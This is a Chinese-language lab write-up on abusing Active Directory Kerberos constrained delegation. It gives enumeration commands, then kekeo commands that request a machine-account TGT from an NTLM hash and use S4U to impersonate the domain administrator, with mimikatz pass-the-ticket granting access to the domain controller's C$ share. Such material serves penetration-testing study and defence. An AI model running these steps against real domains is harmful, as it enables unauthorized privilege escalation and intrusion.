0x01 域委派
将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
域内委派主要有3种应用方式:
一. 非约束性委派Unconstrained Delegation
服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务。
举例说明,如果某个服务A的服务账号B被设置为非约束委派,当用户C通过Kerberos认证访问服务A时,KDC会检查服务账号B的属性,发现是非约束性委派时,KDC会将用户C的TGT放在TGS中,这样B在验证TGS的同时获取了A用户的TGT,从而可以模拟用户A访问任意服务。
从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。
二. 约束性委派Constrained Delegation
即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务;
三. 协议传递
即Kerberos的扩展协议S4U2Self,服务账号针对某一个特定服务,可查询获取任意用户的TGS,从而能模拟任意用户访问该特定服务。
在Windows系统中,普通用户的属性中没有委派Delegation这个选项卡,只有服务账号、主机账号才有
WIN10-NEW$ : 192.168.19.8 加入域 DEMO.LOCAL
owa2010dc$ : 192.168.19.10 域服务器:DEMO.LOCAL
testwin10 : 域用戶
在域DEMO.LOCAL上设置WIN10-NEW$的delegation(在Service Manager -> Roles -> demo.local的computers里找到WIN10-NEW$右键设置),
--> Trust the computer for delegation to specified service only
--> Use any authentication protocol
--> 点击add -> 点击find now
--> owa2010dc(域机器名) ->ok->ok
--> 选取cifs协议(共享)
查询服务账户(或者机器账号)的域委派权限方法
ldifde -f "C:\windows\temp\\ld.temp" -s owa2010dc -d "dc=demo,dc=local" -p subtree -r "(&(objectClass=User))" -l "*"
ldifde -f "C:\windows\temp\\ld.temp" -s owa2010dc -d "dc=demo,dc=local" -p subtree -r "(&(objectClass=User))" -l "cn,givenName,displayname,samAccountName,mail,department,title,description,scriptPath"
因为ldifde导出的WIN10-NEW机器账号:
userAccountControl: 16781312
WORKSTATION_TRUST_ACCOUNT : 4096
TRUSTED_FOR_DELEGATION : 16777216
==> 16777216 + 4096 = 16781312
根据https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx 符合规则。
属性标志 十进制
SCRIPT = 1, // 0x1
ACCOUNTDISABLE = 2, // 0x2
HOMEDIR_REQUIRED = 8, // 0x8
LOCKOUT = 16, // 0x10
PASSWD_NOTREQD = 32, // 0x20
PASSWD_CANT_CHANGE = 64, // 0x40
ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
NORMAL_ACCOUNT = 512, // 0x200
INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
SERVER_TRUST_ACCOUNT = 8192, // 0x2000
DONT_EXPIRE_PASSWD = 65536, // 0x10000
MNS_LOGON_ACCOUNT = 131072, // 0x20000
SMARTCARD_REQUIRED = 262144, // 0x40000
TRUSTED_FOR_DELEGATION = 524288, // 0x80000
NOT_DELEGATED = 1048576, // 0x100000
USE_DES_KEY_ONLY = 2097152, // 0x200000
DONT_REQUIRE_PREAUTH = 4194304, // 0x400000
PASSWORD_EXPIRED = 8388608, // 0x800000
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 16777216 // 0x1000000
或者通过PowerView
的Get-DomainUser,查看userAccountControl是否包含 TRUSTED_FOR_DELEGATION
PS C:\PowerSploit-dev\Recon> Get-DomainUser testwin10 -Properties userAccountControl,msds-allowedtodelegateto | fl
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
或者通过Windows自带AD管理模块
import-module activedirectory
get-adcomputer -Filter {(TrustedForDelegation -eq $True)} -Properties TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName,Description
或者PowerView
的Get-DomainComputer(http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ ) :
通过PowerShell脚本枚举域内所有的机器账号,查看哪些账号被设置了委派
,以及是何种类型的委派设置(获取机器的某些信息 包括useraccountcontrol,msds-allowedtodelegatetol):
PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-ComputerProperty -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
distinguishedname : CN=OWA2010DC,OU=Domain Controllers,DC=demo,DC=local
msds-allowedtodelegateto :
name : OWA2010DC
useraccountcontrol : 532480
distinguishedname : CN=OWA2010,CN=Computers,DC=demo,DC=local
msds-allowedtodelegateto :
name : OWA2010
useraccountcontrol : 4096
distinguishedname : CN=WIN10-NEW,CN=Computers,DC=demo,DC=local
msds-allowedtodelegateto : {cifs/OWA2010DC.demo.local/demo.local, cifs/OWA2010DC.demo.local, cifs/OWA2010DC, cifs/OWA20
10DC.demo.local/DEMO...}
name : WIN10-NEW
useraccountcontrol : 16781312
或者PowerView的Get-UserProperty(通过PowerShell脚本枚举域内所有的用戶账号):
PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-UserProperty -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
name : Administrator
distinguishedname : CN=Administrator,CN=Users,DC=demo,DC=local
useraccountcontrol : 66048
msds-allowedtodelegateto :
name : Guest
distinguishedname : CN=Guest,CN=Users,DC=demo,DC=local
useraccountcontrol : 66082
msds-allowedtodelegateto :
name : krbtgt
distinguishedname : CN=krbtgt,CN=Users,DC=demo,DC=local
useraccountcontrol : 514
msds-allowedtodelegateto :
name : testwin10
distinguishedname : CN=testwin10,CN=Users,DC=demo,DC=local
useraccountcontrol : 524800
msds-allowedtodelegateto :
或者 (获取机器的所有SPN信息 包括useraccountcontrol,msds-allowedtodelegateto)
C:\Users\Administrator>dsquery * -l -limit 0 -filter "&(!objectClass=computer)(servicePrincipalName=*)" -attr serviceprincipalname name samaccountname memberof pwdlastset distinguishedname useraccountcontrol
serviceprincipalname: kadmin/changepw
name: krbtgt
samaccountname: krbtgt
memberof: CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
pwdlastset: 131182114793700226
distinguishedname: CN=krbtgt,CN=Users,DC=demo,DC=local
useraccountcontrol: 514
serviceprincipalname: test/test
name: testwin10
samaccountname: testwin10
memberof:
pwdlastset: 131602140228263620
distinguishedname: CN=testwin10,CN=Users,DC=demo,DC=local
useraccountcontrol: 524800
或者 PowerShell脚本枚举域帐户的SPN
GetUserSPNs - kerberoast
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
PS C:\Users\Administrator\Desktop\kerberoast> . .\GetUserSPNs.ps1
ServicePrincipalName : kadmin/changepw
Name : krbtgt
SAMAccountName : krbtgt
MemberOf : CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
PasswordLastSet : 9/13/2016 11:37:59 AM
ServicePrincipalName : test/test
Name : testwin10
SAMAccountName : testwin10
MemberOf :
PasswordLastSet : 1/12/2018 3:00:22 PM
Get-NetUser - PowerView
PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-NetUser -spn
objectsid : S-1-5-21-1239069908-882060383-2558203358-502
iscriticalsystemobject : True
samaccounttype : 805306368
primarygroupid : 513
instancetype : 4
badpasswordtime : 1/1/1601 8:00:00 AM
lastlogoff : 1/1/1601 8:00:00 AM
whenchanged : 1/12/2018 6:32:42 AM
badpwdcount : 0
useraccountcontrol : 514
usncreated : 12324
countrycode : 0
admincount : 1
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=demo,DC=local
objectclass : {top, person, organizationalPerson, user}
logoncount : 0
lastlogon : 1/1/1601 8:00:00 AM
serviceprincipalname : kadmin/changepw
adspath : LDAP://CN=krbtgt,CN=Users,DC=demo,DC=local
dscorepropagationdata : {1/12/2018 6:32:42 AM, 9/13/2016 4:06:37 AM, 9/13/2016 3:53:08 AM, 1/1/1601 12:00:00 AM}
distinguishedname : CN=krbtgt,CN=Users,DC=demo,DC=local
cn : krbtgt
pwdlastset : 9/13/2016 11:37:59 AM
objectguid : 547b1f4b-4f25-4a4f-96e9-2480d6f2e896
whencreated : 9/13/2016 3:37:59 AM
description : Key Distribution Center Service Account
samaccountname : krbtgt
showinadvancedviewonly : True
memberof : CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
accountexpires : 9223372036854775807
usnchanged : 28705
name : krbtgt
codepage : 0
objectsid : S-1-5-21-1239069908-882060383-2558203358-1126
samaccounttype : 805306368
primarygroupid : 513
instancetype : 4
badpasswordtime : 1/17/2018 8:47:37 PM
accountexpires : 0
whenchanged : 1/13/2018 3:43:54 AM
badpwdcount : 0
useraccountcontrol : 524800
name : testwin10
codepage : 0
objectclass : {top, person, organizationalPerson, user}
logoncount : 23
lastlogon : 1/18/2018 7:37:12 AM
serviceprincipalname : test/test
usncreated : 32796
dscorepropagationdata : {1/13/2018 3:43:54 AM, 1/1/1601 12:00:00 AM}
distinguishedname : CN=testwin10,CN=Users,DC=demo,DC=local
cn : testwin10
pwdlastset : 1/12/2018 3:00:22 PM
objectguid : 2d8ce475-2bd9-4827-a3ed-6e8b4695d516
whencreated : 1/12/2018 7:00:22 AM
samaccountname : testwin10
countrycode : 0
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=demo,DC=local
adspath : LDAP://CN=testwin10,CN=Users,DC=demo,DC=local
usnchanged : 33123
lastlogoff : 1/1/1601 8:00:00 AM
lastlogontimestamp : 1/12/2018 3:00:40 PM
或者 (使用dsquery获取机器的某些信息 包括useraccountcontrol,msds-allowedtodelegateto)
C:\Users\Administrator>dsquery * -limit 0 -filter "(&(objectCategory=computer)(objectClass=computer))" -attr cn operatingSystem distinguishedName useraccountcontrol msds-allowedtodelegateto
cn operatingSystem distinguishedName useraccountcontrol msds-allowedtodelegateto
OWA2010DC Windows Server 2008 R2 Datacenter CN=OWA2010DC,OU=Domain Controllers,DC=demo,DC=local 532480
OWA2010 Windows Server 2008 R2 Datacenter CN=OWA2010,CN=Computers,DC=demo,DC=local 4096
WIN10-NEW Windows 10 Enterprise 2016 LTSB CN=WIN10-NEW,CN=Computers,DC=demo,DC=local 16781312 cifs/OWA2010DC.demo.local/demo.local;cifs/OWA2010DC.demo.local;cifs/OWA2010DC;cifs/OWA2010DC.demo.local/DEMO;cifs/OWA2010DC/DEMO;
或者 (获取用戶某些信息 包括useraccountcontrol)
C:\Users\Administrator>dsquery * -limit 0 -filter "(&(objectCategory=user)(objectClass=user))" -attr cn distinguishedName useraccountcontrol msds-allowedtodelegateto
cn distinguishedName useraccountcontrol msds-allowedtodelegateto
Administrator CN=Administrator,CN=Users,DC=demo,DC=local 66048
Guest CN=Guest,CN=Users,DC=demo,DC=local 66082
krbtgt CN=krbtgt,CN=Users,DC=demo,DC=local 514
testwin10 CN=testwin10,CN=Users,DC=demo,DC=local 524800
测试主机为域内Windows 10系统,现在以普通域用户testwin10登录系统,IPC方式连接域服务器,访问域服务器的C盘目录,显示被拒绝,权限不够。
C:\Users\testwin10>whoami
demo\testwin10
C:\Users\testwin10>dir \owa2010dc.demo.local\c$
Access is denied.
现在已知域内机器账号的口令(计算机的机器账号密码默认是随机的,每30天轮换一次),则可使用kekeo工具构造WIN10-NEW机器账号的票据。命令和执行结果如下
tgt::ask /user:WIN10-NEW$ /domain:demo.local /NTLM:5b8303606d3478a49e47650272fea13b
已知域内主机账号(机器账号WIN10-NEW$),使用kekeo工具构造该主机账号的TGT票据 :
如果是服务账号的话命令就是:
tgt::ask /user:sqlsrv /domain:demo.local /password:xxx /ticket:sqlsrv.kirbi)
kekeo # tgt::ask /user:WIN10-NEW$ /domain:demo.local /NTLM:5b8303606d3478a49e47650272fea13b
Realm : demo.local (demo)
User : WIN10-NEW$ (WIN10-NEW$)
CName : WIN10-NEW$ [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/demo.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 5b8303606d3478a49e47650272fea13b
[kdc] name: OWA2010DC.demo.local (auto)
[kdc] addr: 192.168.18.10 (auto)
Ticket in file 'TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi'
小知识
Pass the Ticket (票据传递攻击PtT)
知道用户的ntlm值,由kekeo生成TGT票据,之后导入票据即可
由于设置了约束性委派所以利用刚才的WIN10-NEW$的TGT票据,像域服务器发起申请访问域服务器相应服务(CIFS共享服务)管理权限的TGS票据 :
Tgs::s4u /tgt:service_account_tgt_file /user:administrator@testlab.com /service:service_to_access
即:
kekeo # tgs::s4u /tgt:TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi /user:administrator@demo.local /service:cifs/OWA2010DC.demo.local
Ticket : TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi
[krb-cred] S: krbtgt/demo.local @ DEMO.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: WIN10-NEW$ @ DEMO.LOCAL
[enc-krb-cred] S: krbtgt/demo.local @ DEMO.LOCAL
[enc-krb-cred] T: [1/12/2018 2:17:58 AM ; 1/12/2018 12:17:58 PM] {R:1/19/2018 2:17:58 AM}
[enc-krb-cred] F: [40e00000] pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): a9e1f34bc1c62de37793943742e0f235a4ba0a0ec01a9899f52b1e9e7798970c
[s4u2self] administrator@demo.local
[kdc] name: OWA2010DC.demo.local (auto)
[kdc] addr: 192.168.18.10 (auto)
Ticket in file 'TGS_administrator@demo.local@DEMO.LOCAL_WIN10-NEW$@DEMO.LOCAL.kirbi'
Service(s):
[s4u2proxy] cifs/OWA2010DC.demo.local
Ticket in file 'TGS_administrator@demo.local@DEMO.LOCAL_cifs~OWA2010DC.demo.local@DEMO.LOCAL.kirbi'
向域服务器发起申请访问域服务器相应服务(CIFS服务)管理权限的TGS票据
ok
此时内存中已经有了访问域服务器CIFS服务的域管理员的TGS票据,需要将该票据(administrator的TGS票据)注入当前的会话中,使用mimikatz的kerberos::ptt命令可完成票据的注入。
注入票据后,当前的会话具备了访问域服务器C盘目录的权限 kekeo ticket 注入
kerberos::ptt TGS_administrator@demo.local@DEMO.LOCAL_cifs~OWA2010DC.demo.local@DEMO.LOCAL.kirbi
注入票据后,访问域服务器C盘目录的权限
dir \\owa2010dc.demo.local\c$ ==> ok
(4个小时后TGT失效,需要重新认证。)
https://www.anquanke.com/post/id/92484 示例有四個,他演示的是示例1,这里演示的是示例4
样例1:已知被设置约束性委派属性的服务账号的口令明文,则可以获取域管理权限
样例2:已控制约束性委派服务账号所在的服务器
攻击者控制了服务器,与样例1类似。由于攻击者控制了服务器,可直接利用mimikatz从内存获取服务账号的TGT,所以可以省去tgt::ask步骤,直接从tgs:s4u步骤开始,后续和样例1相同。
样例3:已获取配置了约束性委派的服务账号的口令NTLM
和样例1相同,样例1用明文口令生成NTLM,然后向域服务器申请获取服务账号的TGT。Kekeo提供了该功能,可直接从NTLM开始,向域服务器申请TGT。
样例4:一个主机账号被设置了约束性委派,已获取该主机账号的口令NTLM
方法和样例1也是类似,只不过样例1中是服务账号,而本样例中是主机账号。测试结果截图分别如下,不再过多解释。测试可在任何域内主机中进行,不需要在主机账号所在的主机。
0x02 后记
20180702
利用 Kerberos delegation 打造变种黄金票据
https://paper.seebug.org/620/
我测试的是域委派cifs服务SPN(共享服务),而这个文章直接测试的是krbtgt,意思是黄金票据和域委派相结合操作,挺牛逼的。
过程都一样,只是换了SPN和工具。
0x03 Reference
https://www.anquanke.com/post/id/92484 (作者笔误: "由于sqlsvc被设置为非约束性委派" 改成 "由于sqlsvc被设置为约束性委派" 已证明 )
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
http://powersploit.readthedocs.io/en/latest/
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon